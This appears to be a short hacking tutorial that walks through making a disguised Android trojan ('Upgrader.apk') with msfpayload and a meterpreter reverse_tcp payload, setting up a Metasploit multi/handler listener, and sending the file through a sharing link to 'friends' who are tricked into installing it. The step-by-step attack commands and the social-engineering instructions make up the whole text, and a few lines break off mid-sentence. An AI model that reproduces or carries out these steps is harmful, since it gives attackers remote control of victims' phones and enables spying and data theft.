Step 1: Fire-Up Kali:
*Open a terminal, and make a Trojan .apk
*You can do this by typing : *msfpayload android/meterpreter/ reverse_tcp
LHOST=192.168.0.4 R >/root/Upgrader.apk (replace LHOST with your own IP)
*You can also hack android on WAN i.e. through Internet by using your Public/
External IP in the LHOST and by port forwarding (ask me about port forwarding if
you have problems in the comment section)
Step 2: Open Another Terminal:
*Open another terminal until the file is being produced.
*Load metasploit console, by typing : msfconsole
Step 3: Set-Up a Listener:
*After it loads(it will take time), load the multi-handler exploit by typing : use
exploit/ multi/handler ' *Set up a (reverse) payload by typing : set payload
android/ meterpreter/ reverse_tcp
*To set L host type : set LHOST 192.168.0.4 (Even if you are hacking on WAN
type your private/internal IP here not the public/ external)
Step 4: Exploit!
*At last type: exploit to start the listener.
*Copy the application that you made (Upgrader.apk) from the root folder, to you
*Then send it using Uploading it to Dropbox or any sharing website (like: http://
*Then send the link that the Website gave you to your friends and exploit their
phones (Only on LAN, but if you used the WAN method then you can use the
exploit anywhere on the INTERNET)
*Let the Victim install the Upgrader app(as he would think it is meant to upgrade
some features on his phone)
*However, the option of allowance for Installation of apps from Unknown Sources
should be enabled (if not) from the security settings of the android phone to allow
the Trojan to install.
And when he clicks Open... That's it!